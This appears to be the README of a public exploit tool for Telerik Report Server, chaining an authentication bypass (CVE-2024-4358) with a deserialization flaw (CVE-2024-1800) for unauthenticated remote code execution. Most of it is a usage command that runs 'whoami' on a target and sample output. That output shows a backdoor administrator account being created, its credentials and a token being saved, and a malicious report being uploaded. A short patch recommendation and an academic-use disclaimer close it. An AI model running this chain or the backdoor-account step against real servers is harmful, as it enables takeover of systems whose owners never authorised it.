针对 CVE-2024-4358/CVE-2024-1800 的 Telerik Report Server 反序列化和认证绕过利用链
python CVE-2024-4358.py --target http://192.168.253.128:83 -c "whoami"
(^_^) Progress Telerik Report Server 预认证 RCE (CVE-2024-4358/CVE-2024-1800) || Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)
(*) 随机后门用户名: oelycslyun
(*) 随机后门密码: cqgnacxljo
(*) 尝试绕过认证
(+) 认证绕过成功，后门账户已创建
(+) 将凭证保存至 credentials.txt
(+) 以用户 oelycslyun 和密码 cqgnacxljo 成功认证
(*) 获取令牌: zfCch_LNv0PyKfe7eBDYKXV70IOotwNQ2p82aX-JHIMCisVnTW9PWWYUKljhcRw5alubNOg_gXoHT6-hJk4VO-jGZuzmisLIi5A
(*) 生成随机报告名称: qvwdycugmc
(*) 正在创建名为 qvwdycugmc 的恶意报告
(*) 反序列化利用完成
更新至最新版本，或按照 Progress 安全公告中的说明进行缓解
本软件纯粹出于学术研究和开发有效防御技术的目的而创建，除非获得明确授权，否则不应用于攻击系统。项目维护者不对软件的误用承担任何责任。请负责任地使用。